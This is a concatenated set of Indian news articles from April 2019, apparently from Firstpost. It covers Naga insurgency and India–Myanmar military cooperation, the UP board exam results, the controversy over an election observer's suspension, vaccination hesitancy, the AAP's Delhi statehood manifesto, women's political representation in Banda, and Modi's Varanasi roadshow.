officialese. The Ang may be oblivious of the numerous meetings between the representatives of the Indian and Myanmarese governments in New Delhi and in Naypyidaw in the recent past or of the increasing frequency of meetings between top Indian army generals and their counterparts in the Tatmadaw. In the past, the Tatmadaw was loath to effectively act on the information furnished by India of numerous insurgent training camps in Myanmar. There were several reasons for this besides the problems due to geographical remoteness. Already the Myanmarese forces are engaged in several active military conflicts with the Kachin, Shan and Arakan rebels and are hard pressed for resources and fighting equipment and hence reluctant to open up another front with the Nagas. This was despite supplying the Tatmadaw with sizeable quantities of weapons like hundreds of 105 mm guns taken from old Indian army battle tanks, Carl Gustaf rocket launchers and other weapons, said a serving top government official with vast experience of devising counter-insurgency strategies against insurgents from Indias Northeast. Understandably, the official did not want to be identified as a few years ago, the Swedish government had sought a response from the Indian government as to how Swedish-made Carl Gustafs supplied to India had found their way onto the Tatmadaws hands, which, if true, would have violated end-user agreements. But the recent growing proximity between the two armies fructified into a significant tactical development which took place between January 29 and February 1, 2019, when in a sudden surprise move, about 400 soldiers led by the Hkamti district tactical commander under the Tatmadaws North-West Command drove into the NSCN (Khaplang faction) headquarters at Taga in the Hukawng valley, throwing the insurgent camps into total disarray. Interestingly, according to a security establishment source, the Tatmadaw was accompanied by a small contingent of Indian soldiers from the 21 Para based in Assams Jorhat from where they were flown in helicopters to join the operation against the insurgents. So this time Myanmar had to act because we pro-actively aided the Tatmadaw against the Arakanese rebels along the Mizoram-Myanmar border who maintain safe havens in Mizoram. It was a we help you in the south, you help us in the north. It has been a huge tactical success for the security establishment, the official added. Reports say while the Manipuri insurgents have moved towards the south, ULFA guerrillas moved towards the Pangsau pass in the north even as many NSCN (K) leaders were taken into custody. Several surrenders by ULFA cadres have been reported since then. The incident at Taga is just the latest of a series of moves that has substantially altered equations and has taken Naga nationalism back to where it all started. More than a hundred years ago, beginning from 1917, thousands of able-bodied Naga men between 18-35 years of age were sent as labour to France by the British government to help the First World War effort by building houses and barracks, clearing the roads and rails from snow, digging trenches, etc. These men from different Naga tribesused to violent internecine tribal conflicts characterised by head-hunting till thenwent to France with very little knowledge but came back with an altered world vision and a definitive idea about their own place in history. There was a realisation of a shared tradition and heritage. Relatively isolated from the others in foreign shores, a sense of unity developed. These men on their return set up the Naga Club in 1918 which became the bedrock of Naga nationalism. The next major step was in 1929 when the Naga Club submitted to the Simon Commission seeking the right to self-determination as and when the British exited from India. The movement assumed a mature political character under the leadership of the legendary Angami Zapu Phizo who steered Naga nationalism towards a demand for total sovereignty along with a justification for violent means if need be. The call to arms was easy for an angry people aided by the easy availability of weapons left behind by the overpowered Japanese army during the Second World War. Many decades later now, the Naga movement has changed beyond recognition. The ideal of unity stands punctured by an extant divided house of many factions, each being defined largely by tribe loyalties. The NSCN itself has many factions and the government has used these divisions to its advantage during the animated negotiations. Even the August 2015 Framework Agreement with the Isak-Muivah faction of the NSCN announced amid much fanfare was a statement on the division among the Nagas. The next important development was after the death of SS Khaplang, who headed the UNLFWSEA, which paved the way for a split between Nagas from India and those from Myanmar. We have lost count of the number of factions that the Naga movement has divided itself into. Nagas are not happy with these divisions. It is always better to stand as one, says Nokkap Konyak, a resident of Longwa, in an apparent reference to the blow to Naga nationalism. A few days ago, underscoring the apparent internal divisions, Isak Sumi, a top leader of the Khango Konyak faction of the Naga underground, wrote: No matter where we are placed, designated, occupied, dominated, abused and undermined, just remember that we are all from the same womb....The Nagas, no boundaries can divide us. In a nutshell, it is as if things have gone back to the pre-1918 days. Says Prof Kumar Sanjay Singh, a keen follower of the Naga movement and who teaches history at Delhi University: The present form of Naga nationalism is a much compromised form of what Phizo had visualised. One, Naga nationalism straddled across present-day geographies in Nagaland, parts of Manipur, Assam and Arunachal Pradesh, and Myanmar. Now it has been cornered to a much smaller area largely because of the stringent opposition in the neighbouring states. Secondly, Naga nationalism emerged as an authentic expression of anti-colonialism among the people of north-east India. While rejecting the British proposal to grant Hong Kong-like status to the Nagas, Phizo asserted that it would amount to a betrayal of the anti-colonial stand of Naga nationalism. Nagas could not been seen to gain at the expense of other peoples struggles. However, says Prof Singh, now Naga nationalists seem to have opted for their own solitary path of negotiations and resolution with total unconcern of the fate of other people of the Northeast. All Naga organisations had organic links with the movements of other people of the Northeast. By opting for a solitary path, this inherent multilateralism has been lost. In a way, history has been unkind to the Nagas. Artificial boundaries created by people seated in faraway lands and positions of power have determined the destiny of the Nagas. We have heard about a proposal to fence the Indo-Myanmar international border. That will divide families, brothers and sisters. That is something we will never agree to. If that is done, Nagas will rise again, says the Ang, Phawang, leaving no doubt that Nagas are loyal just to themselves. It is also indicative of the fact that absence of conflict doesnt necessarily mean the finality of peace, more so in the Naga hills where the disquiet in the quiet is but obvious. UP Board Result 2019 LIVE Updates: The links to check the Class 10 and Class 12 results of the UP board exams are now live on upresults.nic.in. You can also check your results directly on Firstpost. Auto refresh feeds The Uttar Pradesh Madhyamik Shiksha Parishad (UPMSP) will declare the results of the Class 10 and Class 12 board exams today (Saturday, 27 April) at 12.30 pm. Step 5: Download your results and keep a printout for future reference Step 2: Click on the link given for details on Class 12 and 10 results Students can check the results for both on the official website upmsp.edu.in. As the official website faces the risk of crashing, students can opt to visit alternative websites and use SMS services to check their UP board results. Students can also receive their results via SMS Just bookmark this link , or click on it once results are out to check Uttar Pradesh board result 2019 for Class 10 or Class 12 online. This year, around 58 lakh students appeared for the Class 12 and Class 10 board exams. Reports said the performance of students in the Uttar Pradesh board exams is expected to improve this year, as several measures were taken to ensure good results. A Special Task Force team was also reportedly deployed to ensure that there were no instances of cheating and to curb the activities of the "copying mafia". As many as 58.6 lakh students registered for the Uttar Pradesh (UPMSP) board exams, but around 6.52 lakh students failed to appear for the examinations. As many as 403 students were caught cheating, according to The Indian Express. The Uttar Pradesh Madhyamik Shiksha Parishad (UPMSP) is the primary body entrusted with the job to manage, monitor and develop school-level education in the state. It conducts annual high school exam for Class 10 students and the intermediate exam for Class 12 students of Uttar Pradesh. For the first time during UP board exams, this year was the first time that CCTV cameras were installed at all the 8,549 exam centres. Of the total, 2,087 centres were categorised as sensitive, of which 566 centres were identified as very sensitive and 1,521 sensitive with regard to the activities of the "copying mafia" there. In 1992, the Kalyan Singh government in Uttar Pradesh had implemented similar security measures to curb cheating during the UP board exams. The state government had issued an ordinance on anti-copying called Nakal Adhyadesh. This reduced the pass percentage in the state to 14.7 percent for Class 10 and 30.4 percent in Class 12, the lowest pass percentage ever in the state. The Uttar Pradesh board has announced that the results have been delayed by an hour. UPMSP has confirmed that the Class 12 result will be announced at 1 pm and Class 10 result at 1:30 pm. On upresults.nic.in, the Uttar Pradesh board has confirmed a delay in the announcement of the results. The Uttar Pradesh Board of High School and Intermediate Education has raised the fee for re-evaluation of exams by five times. To get one paper of a subject reevaluated, candidates will now have to pay Rs 500 instead of the earlier Rs 100 fee, making this the most expensive reevaluation procedure in India, according to The Indian Express. Step 5 Download your results and keep a printout for future reference Step 2 Click on the link given for details on Class 12 and 10 results The UP board has declared the 10th and 12th board exam results. Gautam Raghuvanshi has topped the Class 10 exams and Tanu Tomar has topped Class 12. UP Class 10 students secured a pass percentage of 80.07 percent in the board exams, while 70.02 percent cleared the intermediate Class 12 examination. Gautam Raghuvanshi has emerged the topper of the Uttar Pradesh Board High School exam with 97.17 percent. Shivam came in second with 97 percent and Tanuja Vishwakarma secures the third spot with 96.83 percent marks. Tanu Tomar has emerged the topper of the UP Board Class 12 exams with 97.83 percent. Bhagyashree got the second rank with 97.2 percent and Akanksha came in third with 94.80 percent. Girls performed better than boys, according to reports. In 2018, the pass percentage was 75.16 percent and in 2017, it was 81.60 percent. In the Class 12 UP board exams, girls secured the top three ranks. Their pass percentage is also higher than that of boys. This year, 70.06 percent of the students who appeared for the Class 12 board exams in Uttar Pradesh passed. Class 12 students have secured a pass percentage of 70.02 percent this year, a drop from the overall pass percentage of 72.43 percent in 2018. While boys secured a pass percentage of 72.27, girls outperformed them with 78.81 percent. Step 5 Download your results and keep a printout for future reference Step 2 Click on the link given for details on Class 12 and Class 10 results How to check the UP board exam result 2019: Gautam Raghuvanshi topped the Uttar Pradesh Board High School exam, securing 97.17 percent. The second spot was bagged by Shivam who got a score of 97 percent. Tanu Tomar has topped the Class 12 exam. Here are the toppers for Class 10, Class 12 examinations Class 10 and Class 12 students can check their UP board scores right here on Firstpost: https://www.firstpost.com/up-board-result-2019-live In the Class 12 UP board exams, girls secured the top three ranks. Their pass percentage is also higher than that of boys. This year, 70.06 percent of the students who appeared for the Class 12 board exams in Uttar Pradesh passed. Class 12 students have secured a pass percentage of 70.02 percent this year, a drop from the overall pass percentage of 72.43 percent in 2018. While boys secured a pass percentage of 72.27, girls outperformed them with 78.81 percent. Step 5 Download your results and keep a printout for future reference Step 2 Click on the link given for details on Class 12 and Class 10 results How to check the UP board exam result 2019: Visuals of celebrations from the school of Tanu Tomar who has topped the Class 12 UP Board Exam. pic.twitter.com/D9RqvZGwA3 Gautam Raghuvanshi topped the Uttar Pradesh Board High School exam, securing 97.17 percent. The second spot was bagged by Shivam who got a score of 97 percent. Tanu Tomar has topped the Class 12 exam. Here are the toppers for Class 10, Class 12 examinations If students are not satisfied with their results, they can approach grivance cells at Prayagraj, Varanasi, Gorakhpur, Meerut and Bareilly, as per an article in News18 Hindi . Class 10 and Class 12 students can check their UP board scores right here on Firstpost: https://www.firstpost.com/up-board-result-2019-live UP Board result 2019 date and time LATEST updates, Class 10 and Class 12: The Uttar Pradesh Board of High School and Intermediate Education has declared the results of the Class 10 (high school) and Class 12 (inter) board exams. Once again, girls outperformed boys in both grades. The links to check the Class 10 and Class 12 results of the UP board exams are now live on upresults.nic.in. You can also check your results directly on Firstpost. Gautam Raghuvanshi has topped the Class 10 Uttar Pradesh board exams and Tanu Tomar came first in the Class 12 exams. Class 10 students secured an 80.07 percent pass percentage, while Class 12 students got 70.02 percent. As the official website faces the risk of crashing, students can opt to visit alternative websites and use SMS services to check their UP board results. You can also check your result with Firstpost. Just bookmark this link, or click on it once results are out to check UP board result 2019 for Class 10 or Class 12 online. This year, around 58 lakh students appeared for the two board exams. The Uttar Pradesh board held the Class 10 exams from 7 to 28 February and the Class 12 exams from 7 February to 2 March. Reports said the performance of students in the Uttar Pradesh board exams is expected to improve this year, in comparison to last year. Several measures have been taken to ensure good results, The Times of India reported. A team of the Special Task Force was reportedly deployed to ensure that there were no instances of cheating and to curb the activities of the "copying mafia". How to check the UP board exam result 2019: Step 1 Visit the official website Step 2 Click on the link given for details on Class 12 and 10 results Step 3 Enter the required details Step 4 Click on the 'Submit' button Step 5 Download your results and keep a printout for future reference Alternative websites to check results and details: Students can check results also on upmspresults.up.nic.in, upresults.nic.in, results.nic.in, upmsp.edu.in. Candidates can also receive their results via SMS. Send 'UP12Roll Number' to 56263. For Class 10 results, Send 'UP10Roll Number' to 56263. Read more on alternative ways to check Class 10 results here Read more on alternative ways to check Class 12 results here Check UP Board Result 2019 Class 10, Class 12 The controversy over the disciplinary action initiated against IAS officer, who allegedly subjected the prime minister's chopper to a search in Odisha's Sambalpur, refuses to die down The controversy over the disciplinary action initiated against the IAS officer who allegedly subjected the prime minister's chopper to a search in Odisha's Sambalpur, refuses to die down. Mohammad Mohsin, who was facing suspension, now only faces a ban on taking up election duties till further order after the Central Administrative Tribunal's (CAT) intervention. He was deployed in Odisha as a general observer and suspended on 17 April for checking Modi's helicopter in Odisha's Sambalpur in "violation" of norms for dealing with SPG protectees. However, the Election Commission's strict action against its general observer has opened a can of worms. Mohsin's crime was that he allegedly led a search party to search Prime Minister Narendra Modi's chopper upon landing in Odisha. The Election Commission, on the PMO's complain, looked into the matter and found that the IAS officers violated its guidelines related to exceptions made for SPG protectees. The EC said it had issued a guideline in April 2014 and another extension to it in March 2019, which apparently mentioned that VIPs offered the protection of Special Protection Group are exempt from a search, which is otherwise mandatory for all private vehicles associated with political parties and politicians during poll season. An order issued by the EC on Tuesday had said the general observer for Sambalpur, Mohammad Mohsin, acted in violation of existing instructions of EC. "It has been laid down that SPG protectees are exempted from checking. He should have known the instruction being an observer. The reason for suspension is dereliction of duty," an EC source had then said. After the incident, the officer was attached to the Sambalpur headquarters. Later, he was attached with the chief electoral officer of Karnataka. The order exempting SPG protectees, including the prime minister, was issued in April 2014, the poll body said. The Commission took the action against Mohsin on the basis of a report submitted by the district collector and deputy inspector general of police. However, the EC's claim did not stop political parties from raising a hue and cry over the action initiated against Mohsin. The Congress party said, "An official was suspended by ECI for doing his job of inspecting vehicles. The rule cited governs the use of official vehicles for campaigning. It does not exempt the prime minister's vehicle from being searched. What is Modi carrying in the helicopter that he doesn't want India to see?" AAP tweeted: "The chowkidar lives in his own protected shell! Is the Chowkidar trying to hide something?" The Congress party and several media reports argued that the guidelines quoted by the Election Commission to take action against Mohsin were non-existent. Did Mohsin break rules? There are two aspects to the claims floating around. On one hand is the Election Commission, which claims that the officer violated clear guidelines. However, the said guideline could not be found on the EC website or anywhere else in the public domain. NDTV claimed it has accessed the guidelines but no such exception was found listed. The instructions pertain to the prime minister's use of government vehicles during election campaigns, but mentions nothing about searches. The CAT also maintained that during an election process while reasonable assurances of protection and security must be made available to SPG protectees, it cannot be said "they are eligible for anything and everything". While assessing the matter, CAT in Bengaluru, noted that precedents exist when the election officials have checked the vehicles of SPG protectees, including the Karnataka chief minister, and the current and previous Congress presidents. "Election officials have checked private vehicles of [Karnataka] Chief Minister Shri [HD] Kumaraswamy more than once and no action followed... the Chief Minister of Odisha's vehicles were also checked," NDTV quoted CAT report as saying. Mohsin, however, insisted he did not order a search of the prime minister's chopper. According to The Hindu, in his reply to the CAT, Mohsin's lawyer stated that he had neither ordered search of the helicopter nor had he asked to videograph the helicopter. Mohsin also said that he was not present at the helipad when the search and videographing took place. He claimed that the EC failed to pinpoint the exact violation nor did it provide him the copies of reports submitted by the district election officer and the Deputy Inspector-General of Police, based on which action was initiated against him. He claimed that the action against him was high-handed and aimed at humiliating him. "The applicant [Mr. Mohsin] reasonably believes that this order was passed by the commission on extraneous considerations on a law-abiding officer with a view to humiliating him and also with a view to deriving political advantage in favour of a political party. The action of the commission is high-handed, mala fide and is not in good faith," the report in The Hindu quoted an excerpt from Mohsin's reply. The tribunal noted that it was apparently the prime minister's security officials which complained about the officer ordering video recording of the chopper's landing. However, Mohsin argued that even if the landing was videographed and a search was requested, it did not amount to any insulting act that warrants action. "By videographing the helicopter, no insulting act was committed. If somebody strongly feels that somebody has been insulted, it indicates that there is something to be hidden. If somebody is irked for no fault of the officer performing his duty, he cannot be targeted by using the commission as a Election Observers presence may irk the prime minister and his party. As the prime minister of this country, he was required to voluntarily allow a search which would have enhanced his image. He should be a model to the other political parties and his own party members..., Mohsin's application to CAT read. Meanwhile, the EC revoked the suspension order and recommended disciplinary action against him. Who is Mohsin? Mohsin is a 1996-batch IAS officer of the Karnataka cadre, who has been working for the backward class welfare department under the Government of Karnataka since June 2016. He hails from Bihar's Patna where he completed his primary education from Mohammedan Anglo Arabic Senior Secondary School. He finished his graduation in Economics at Magadh University and subsequently attained a Masters of Commerce from the Patna University. He also holds an MBA from Karnataka State University. According to his LinkedIn profile, he was initially posted as an Sub-Divisional Magistrate and after that, took charge as the Deputy Commissioner in the district panchayat and the Department of Rural Development, going on to hold several positions in the Karnataka administration. However, what is remarkable is that Mohsin has been tacitly critical of the current dispensation at the Centre. Even though serving IAS officers generally refrain from making their political opinions known, Mohsin has frequently retweeted tweets and articles critical of the Narendra Modi government. Kisi ke baap ka hindustaan thodi hai. pic.twitter.com/ywhzobSB7a Mohammad Mohsin (@mmiask) March 1, 2019 What about Adani and Jindal Buisness empire in Pakistan?? https://t.co/sAjAswnooh Mohammad Mohsin (@mmiask) February 18, 2019 Also, this was not the first time that the officer attracted controversy. According to The Hindu report from 2014, the Karnataka Administrative Tribunal on 11 December 2014 had ordered issuance of a bailable warrant against Mohsin, serving as Commissioner for Public Instruction at the time, for failing to respond to notices issued to him on a contempt proceeding. The order was passed on a complaint by Anusuya KH, an assistant teacher with Sarva Shiksha Abhiyan, Ballari, alleging that the three public servants, including Mohsin had failed to obey a direction by the tribunal in June this year in favour of her transfer plea. Earlier in October 2011, Mohsin was pulled up by the Gulbarga high court circuit bench for "falsely encouraging an aggrieved person to have hopes and aspirations which were ultimately dashed because of the legal position". According to The Times of India, the matter related to the request of a government employee's son for appointment on compassionate grounds following the death of his father. The person was found ineligible to take up the government job on legal scrutiny, whereas the concerned administrative officers had made a case for his appointment. The World Immunisation Week is being celebrated from 24-30 April 2019 to promote vaccination to protect people of all ages against diseases. Statistics reveal that two percent of children in India miss their vaccinations either due to ignorance or because of some personal beliefs of their family. Such cases are seen largely in the central and northern parts of India. Most of these cases can be put down to illiteracy, lack of awareness about the need for vaccination and often to lack of time to go to the public health centres and get children vaccinated as the parents are poor and cannot miss a days daily wages. However, when a stray case of a child missing vaccinations is seen in a city like Mumbai, with no justifiable reason of poverty or ignorance, then it is a cause for alarm, said Dr Nitin K Shah, consultant pediatric haemato-oncologist at the PD Hinduja Hospital and Medical Research Centre, Mumbai. A 10 year-old who came to visit the doctor recently was from an upper middle class family. She was diagnosed with diphtheria. She had taken a dose of vaccines and missed the rest. The father replied defensively that the family had forgotten to take all the mandatory vaccinations. The mother told Shah in private that the father did not have any belief in vaccinations. The World Immunisation Week is being celebrated from 24-30 April 2019 to promote vaccination to protect people of all ages against diseases. The Union Health Ministry launched Mission Indradhanush on 25 December 2014, and during the first three phases, 28.7 lakh immunisation sessions were held, in which more than 2.1 crore children were reached and 55 lakh of them were fully immunised. In addition, 55.9 lakh pregnant women were also vaccinated with tetanus toxoid. However, there is nothing much doctors, health workers or the government can do when some people hesitate to get themselves or their children vaccinated, said Shah. The family has two other children and they were not given all the vaccinations either, he said. According to WHO, there are more than 19 million unvaccinated or under-vaccinated children in the world. This puts them at serious risk of potentially fatal diseases. By 2017, 123 countries had reached at least 90 percent coverage of DTP3 vaccine. An additional 1.5 million deaths could be avoided, however, if global immunisation coverage improves, it said. Shah spoke to Firstpost on the fears and phobias against vaccination and the fallouts of not getting vaccinated. Excerpts from a conversation with Shah Why are vaccinations important? Immunisation is a childs birthright and it is the duty of the parents to ensure children are vaccinated. It is also the duty of the healthcare authorities like doctors, nurses, healthcare givers, besides the government, to ensure children are vaccinated so that they are protected from diseases and disabilities. Vaccination provides protection against diseases like diphtheria, hepatitis B, measles, mumps, pneumonia, polio, rotavirus diarrhoea, rubella and tetanus among others. I dont understand why some people are averse to vaccination. It isnt that the vaccines are expensive. They are given free by the government in the public health centres. Soon after this government came to power, it launched Mission Indradhanush and recently launched the 'Intensified Mission Indradhanush' or IMI so as to reach every child below the age of two years and pregnant women who are still uncovered under the routine immunisation programme. The government data says 82 percent was covered by Mission Indradhanush which means 18 percent did not take vaccination for some reasons. That is a huge percentage who are now vulnerable to illnesses that could have been easily prevented. But the apathy to vaccination is nothing new, is it? The apathy towards vaccination is there even in the United States, for instance. The apathy towards vaccination in the US and India are for different reasons. In the west, vaccine hesitancy is fanned by anti-vaccine lobbies that misguide people through articles, blogs, etc. Cases of measles have increased in the US, for instance, due to hesitancy to take vaccines. In India, people generally follow public health messages and do what is being told to them. Vaccinations are not taken or missed in India primarily because public health centres are too far, and due to personal beliefs or religious reasons for not taking them. How do you think this apathy can be overcome? We can tackle this issue through public health messages, through doctors when we have children come to us with illnesses, we can talk to their parents about vaccinations and educate them about it. Doctors can have vaccination leaflets, posters in their clinics, in hospitals so that the message is conveyed. Another way of getting around this critical issue is to have a vaccination chart that has a contact of health workers in the area. Mass media can be used as it is being done now so that more people are aware and take vaccinations. When people dont take vaccinations for religious reasons, we can speak to ask doctors of the same religion and also talk to religious heads. Together they can speak to people of the religion, if it is religious faith that is making them hesitant to take vaccinations. Outreach programs can be conducted. A child cannot speak for herself. But a child saved is an adult saved for the future. From around five to six vaccines earlier to 13 now, we have come a long way. From early 60s to early 2000, there were only 6 antigens for tuberculosis, TPT (against Typhoid, Paratyphoids A and B and Tetanus), measles, etc. We have now added hepatitis B, HIB (Haemophilus influenzae type B vaccine), DPT (diphtheria, pertussis (whooping cough), and tetanus), injectable polio vaccinate, MR vaccine after the campaign; and in some areas we have the rota vaccine against severe diarrhea in children. Beside, PCV (pneumococcal conjugate vaccine) has also been added to the national program. Some areas in the country are highly endemic to Japan encephalitis virus, and Japan encephalitis vaccine is given in these areas. We have replaced the old rabies vaccine with modern tissue culture. The 13 vaccinations a child needs to have are: diphtheria, pertussis, tetanus, polio, measles, hepatitis B, Japanese encephalitis, encephalitis, tuberculosis, pneumococcal disease, haemophilus influenza type B related illnesses, diarrhoea caused by rotavirus, and rubella. The vaccines are offered free by the government. In private clinics, the PCV vaccine costs Rs 2,000 to 2,400 and the rota vaccine is available between Rs 800-1,500. Typically vaccines come to the private market and take a decade or more before it can be provided for public health. The rota vaccines for instance was available for public health in Africa less than a year after it was available in private practice. However, it took us over a decade to get it here. The AAP released the manifesto after the talks with the Congress finally failed and the party decided to go on its own in Delhi. Aam Admi Party leader Sanjay Singh claimed that the demand for full statehood for Delhi is the crowning jewel of the party manifesto published on Thursday. While speaking to Firstpost the AAP Rajya Sabha MP said that if Delhi becomes a full state than the state government would be able to meet all the demands of Delhiites across departments. Demand for full statehood for Delhi is the most attractive part of the manifesto released today. In the last four years, people have seen that we have not been allowed to run the government. Obstacles have been created in every scheme we took. We would get Rs 5, 000 to 6,000 crore as taxes whereas we get only Rs 325 crore now. Full statehood would mean handing out more jobs, curbing of corruption with power over police corruption stop, more colleges and hence more higher education to the Delhi youngsters, said Sanjay Singh to Firstpost. The AAP released the manifesto for Delhi Lok Sabha polls to be held on 12 May. AAP's demand for full statehood for Delhi is seen as an effort to make the partys campaign coherent as it was widely felt that the partys campaign missed a common narrative for all the seven constituencies in the city. The AAP manifesto mentions a number of promises the party will fulfil provided Delhi becomes a full-fledged state. The manifesto doles out promises of 2 lakh government jobs, home to everyone in Delhi, 85 percent reservation of seats in colleges for the residents in Delhi. It focusses in 12 areas of education, health, women safety, police reforms, zero corruption, jobs, land and housing, protection from sealing, cleanliness, pollution, transport and Yamuna rejuvenation. The AAP released the manifesto after the talks with the Congress finally failed and the party decided to go on its own in Delhi. While releasing the manifesto, Delhi chief minister Arvind Kejriwal said that statehood for Delhi is the partys electoral plank. AAP would do anything to prevent the return of Modi-Shah duo to power. AAP would support any government other than one formed by Modi. But in return of that support, we would expect the new government to fulfil the 70-year-old demand for Delhi statehood, the AAP convener said. However, AAPs poll campaign had gone haywire recently given over the uncertainty around its electoral tie-up with the Congress party. Though the party had declared statehood as its poll agenda soon after the date of the election was announced, it did not reflect quite clearly in the speeches made by party leaders in public rallies. The main reason for playing this agenda down was attributed to the reluctance of the Congress party, then a possible ally to take up full statehood as an electoral plank. Why has the issue been raised now when there is no Parliament session scheduled and the present government at the Centre is also about to end its term? the grand old partys Sheila Dikshit had said running down the demand for full statehood. She added that even Congress had earlier wanted full statehood for Delhi but eventually, the demand was dropped. Prior to Dikshit another leader in the Delhi Congress Ajay Maken too expressed a similar view on the issue, claiming full statehood would bring about extra financial burdens for Delhiites. Its ironic, when you look out at the sea of women of all ages, especially wizened old ones, at a recent nomination event in Banda, Uttar Pradesh, how few women are on the other side of the stage or ballot box. Its ironic, when you look out at the sea of women of all ages, especially wizened old ones, at a recent nomination event in Banda, Uttar Pradesh, how few women are on the other side of the stage or ballot box. To hear the sharp political critique of policies in their names, the expose of underdevelopment and government hyper rhetoric, the hopes invested in the absent supremo, Mayawati, you would think that things could really be different if we fielded a large number of women candidates to our houses of parliament. But the reality is generally far from what we desire or what should be. Data from the last general election in India shows that, of 543 seats, 640 women candidates ran for election (eight percent of the total 8,208 candidates, millionaires and criminals included) and 12 percent of these won (61 women). UP, for its 80 seats in the lower house, fielded close to 90 women candidates. However, only 12.6 percent of MPs in our parliament are women, against the international average of 24.3 percent. Embarrassingly (yet, not surprisingly), India stands 149th out of 193 countries, ranked for its percentage of women representatives in parliament behind Bangladesh, Pakistan and Saudi Arabia. This time around, from data available so far, the percentage of women candidates is still around eight percent, even as two prominent parties, Odishas Biju Janata Dal and West Bengals Trinamool Congress, have announced over 30 percent reservations in party tickets for women. The interesting thing to think about, and that we made our way around party offices and rallies and nomination events to investigate, is how women see their increasing presence in party manifestos squaring up with this still poor representation in positions of power in the parliament. Women, especially rural women, have been on billboards and radio jingles, the main protagonists in stories of infant mortality, better cooking facilities, education, love jihad these last five years. But how much say do they have in determining policies themselves? Kiran Yadav, a Bahujan Samaj Party candidate for the last assembly election, says that in her years in Bandas politics, since the early 1990s, she has never seen a woman in parliament from Bundelkhand, minus a few stray netas bahus. And neither have peoples perspectives on giving women a place or a ticket changed in all these years: no one says women should be given seats. Men have a fear in their minds, since they see that women are more capable than them, that if they give them space, as MPs or MLAs or even district panchayat presidents, they will take away their power! Dipti Yadav, a Congress Party worker in Banda, who was part of the welcome team during Priyanka Gandhis Benares visit, finds the ladder to positions of power too steep for women. The problem is that there are too many layers between the panchayati raj institutions and the parliament, and its too hard for women to reach there. If there were more women in parliament, they would have more information on policies being made for them, and how facilities they need could be changed or improved. I think its really crucial in the current state of affairs, for there to be more women in politics, but I dont see women being able to establish themselves until the 33 percent reservation in parliament becomes a reality. For some women, the long-procrastinated womens reservation bill is not enough to change the status quo. For Sampat Pal, a long-time politician in Bundelkhand, and Commander of the Gulabi Gang, who made her way into politics via the extra-judicial vigilante route, not enough is being done. Pal has been a many-time candidate fielded by the Congress, though she has missed the ticket this time to a local ex-SP leader better known as Daku Daduas bhai. She says, The reservation should be 50 percent. Women will come out and fight. And men will support them, push them too! Off the main chaurahas and streets, deep inside Bundelkhands villages, voters had more diverse views on the matter. For Ram Raj, a travelling salesperson who paused on his way out to a busy day, women havent been able to establish themselves as political leaders with influence, and thats a major concern. He shares his strong views on the subject, They dont show the ability, they allow men to come to the forefront and they stay behind. They havent been able to mobilise as a group, to show others what their rights are. They dont even know their own rights who we are, what we want and how are we going to get it. Patriarchal realities laced with mansplaining notwithstanding, a Banda local Usha Singh smiles when we ask her about womens place in politics. I dont know of any woman MP from Banda. But I do know that if I was to vote, I would like to vote for a woman MP. Only women really understand womens issues. Saffron, blue, green or yellow, the political establishment needs to chew on some humble pie, if they want to win over a considerable (48 percent) of the voting population nation-wide. Women arent going to buy their empty political promises anymore. Khabar Lahariya is a women-only network of rural reporters from Bundelkhand Long before the term 'shock and awe' found a place in the strategic parlance of the USA during the Gulf War to mean 'completely blow away the enemy', Prime Minister Narendra Modi had practically internalised this tactic into his politics way back in 1990 Long before the term 'shock and awe' found a place in the strategic parlance of the USA during the Gulf War to mean 'completely blow away the enemy', Prime Minister Narendra Modi had practically internalised this tactic into his politics way back in 1990. The spectacle of lakhs of people walking along his open car-cade on the streets of Varanasi on Thursday and before the filing of his nomination on Friday is nothing but a sequel to his tactical brilliance in electoral politics. The show that overwhelmed people of Varanasi and eastern Uttar Pradesh was indeed very well calibrated to literally take the adversary by "shock and awe". And it can be better understood if one analyses the manner in which the Modi-led Bharatiya Janata Party (BJP) finessed the art of attuning the party's organisational mobilisation to electoral politics much like an exact science. Nobody knows it better than Modi that the phenomenon of a Mexican Wave in the crowds is more a product of engineering genius than spontaneity. Varanasi witnessed a brilliant show of it. But those who think that the show was a new political innovation are unaware of the similar displays in the past that helped build a war-like organisational machinery. That the BJP in its early years had often punched much above its weight and got successful can be borne out by its history. Take for instance the General Election of 1989 and the Gujarat Assembly election of 1990 when Modi had become BJP's Gujarat unit general secretary and was in-charge of the party's organisation. He had persuaded the central leadership to bargain hard for Lok Sabha seats in alliance talks but prepared majorly to occupy the political space ceded by the Congress. In fact, the elections were held against the background of deepening social fault lines created by Congress stalwart Madhavsinh Solanki with his famous KHAM (Kshatriya, Harijan, Adivasi and Muslim) theory and a series of communal clashes that took place all over the state during the 1980s. Solanki's removal caused an internal rift and rendered the Congress organisational structure a rudderless ship. Modi was determined to fill the vacuum with the BJP. Realising that the 1989 Lok Sabha election was focused around a personality VP Singh, he diverted his attention to the state Assembly election in 1990. Modi was up against a shrewd regional satrap, Chimanbhai Patel of the Janata Dal, who was unwilling to cede much ground to the BJP in the seat-sharing alliance for the Assembly polls. Herein comes Modi's political genius of creating an atmosphere that catches his adversary off guard. In an astute move, he asked ticket-seekers of all Assembly seats to drive down to Ahmedabad in vehicles decked up as raths. Obviously, riding a chariot carried a certain religious symbolism and was quite innovative at that time. At the same time, the BJP had been successfully running the Ahmedabad Municipal Corporation and championed the cause of good governance and honesty. The mobilisation of an innovative instrument of politics, raths, across the state surprised Chimanbhai, giving him the impression of far more influence of the BJP on the ground. He readily agreed to part with more seats. In the election, the BJP fared better than Chimanbhai's party. Since then nobody has been able to dislodge the BJP from its place of political primacy in the state. The Varanasi show was a piece with such experiments carried out by Modi in the past. That he found an excellent executioner of his ideas in BJP president Amit Shah has added to the party's phenomenal organisational capabilities. It would be naive to dismiss the Varanasi show as mere "event management" by the duo to divert people's attention. People waited for hours at the BHU gate, Assi, Sonarpura, Madanpura, Godowlia and other localities in hot and sultry weather to wave and cheer for the leader. Like a Mexican Wave, a large gathering responded to determined prodding. Everybody seemed to be coining their own slogans. On his part, Modi seemed quite consistent in building a political narrative that practically upended the Nehruvian world view of statecraft and politics. He came across as a staunch ritualistic Hindu leader who can recite holy mantras along with Brahmins at the Ganga ghat and perform an aarti in complete consonance with the Vedic methods. On Friday morning, he visited Kaal Bhairav temple to pay obeisance to a deity who is mythologically believed to be the "kotwal (gate-keeper)" of this holy city. If one looks at the spectrum of religious emotions that Modi covered during his visit, he does not seem to be coy about making his religious conduct part of his politics. Through direct telecasts on various channels and several other platforms, he connected with crores of people across the country and conveyed a definite message. The first evidence of adversaries being "shocked and awed" by Modis show was the Congress decision to bring back Ajai Rai as its candidate from Varanasi instead of Priyanka Gandhi. Earlier, 